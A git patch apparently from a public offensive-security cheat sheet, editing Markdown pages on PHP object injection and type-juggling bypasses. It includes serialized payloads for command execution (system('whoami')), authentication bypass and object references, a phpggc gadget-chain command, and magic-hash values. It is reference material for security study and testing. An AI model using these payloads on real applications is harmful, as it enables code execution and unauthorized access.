From c8d7575ba35ca6bfbb1343ca6c09997f6fd57049 Mon Sep 17 00:00:00 2001 From: Swissky Date: Mon, 26 Nov 2018 23:35:43 +0100 Subject: [PATCH] Minor edit in deserialization PHP and type juggling --- Insecure deserialization/PHP.md | 33 ++++++++++++++++------------- PHP juggling type/README.md | 37 +++++++++++++++++++++------------ 2 files changed, 42 insertions(+), 28 deletions(-) diff --git a/Insecure deserialization/PHP.md b/Insecure deserialization/PHP.md index c0dce3b..4a1c262 100644 --- a/Insecure deserialization/PHP.md +++ b/Insecure deserialization/PHP.md @@ -1,10 +1,16 @@ -# PHP Object Injection +# PHP Object injection PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. +The following magic methods will help you for a PHP Object injection + +* __wakeup() when an object is unserialized. +* __destruct() when an object is deleted. +* __toString() when an object is converted to a string. + Also you should check the `Wrapper Phar://` in [File Inclusion - Path Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#wrapper-phar) which use a PHP object injection. -## Exploit with the __wakeup in the unserialize function +## __wakeup in the unserialize function Vulnerable code: @@ -40,7 +46,6 @@ a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";} # Command execution string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}" - ``` ## Authentication bypass @@ -62,11 +67,11 @@ if ($data['username'] == $adminName && $data['password'] == $adminPassword) { Payload: -``` +```php a:2:{s:8:"username";b:1;s:8:"password";b:1;} ``` -Because `true == "str"` is true. Ref: [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) +Because `true == "str"` is true. ### Object reference @@ -93,15 +98,10 @@ if($obj) { Payload: -``` +```php O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;} ``` -Ref: - -- [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html) -- [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web) - ## Others exploits Reverse Shell @@ -148,7 +148,10 @@ phpggc monolog/rce1 'phpinfo();' -s ## Thanks to -- [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) -- [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) -- [PHP unserialize](http://php.net/manual/en/function.unserialize.php) -- [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) \ No newline at end of file +* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) +* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) +* [PHP unserialize](http://php.net/manual/en/function.unserialize.php) +* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) +* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) +* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html) +* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web) \ No newline at end of file diff --git a/PHP juggling type/README.md b/PHP juggling type/README.md index 0a54586..75de094 100644 --- a/PHP juggling type/README.md +++ b/PHP juggling type/README.md @@ -1,20 +1,29 @@ # PHP Juggling type and magic hashes +PHP provides two ways to compare two variables: + +- Loose comparison using `== or !=` : both variables have "the same value". +- Strict comparison using `=== or !==` : both variables have "the same type and the same value". + ## Type Juggling -True statements +### True statements ```php -var_dump('0010e2' == '1e3'); # true +var_dump('0010e2' == '1e3'); # true var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0 var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0 -var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0 -var_dump('0x1234Ab' == '1193131'); +var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0 +var_dump('0x1234Ab' == '1193131'); +``` +```php '123' == 123 '123a' == 123 'abc' == 0 +``` +```php '' == 0 == false == NULL '' == 0 # true 0 == false # true @@ -22,7 +31,7 @@ false == NULL # true NULL == '' # true ``` -NULL statements +### NULL statements ```php var_dump(sha1([])); # NULL @@ -31,20 +40,22 @@ var_dump(md5([])); # NULL ## Magic Hashes - Exploit -```php - -``` +If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float. | Hash | “Magic” Number / String | Magic Hash | Found By | | ---- | -------------------------- |:---------------------------------------------:| -------------:| | MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek | | SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham | +```php + +``` + ## Thanks to * [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)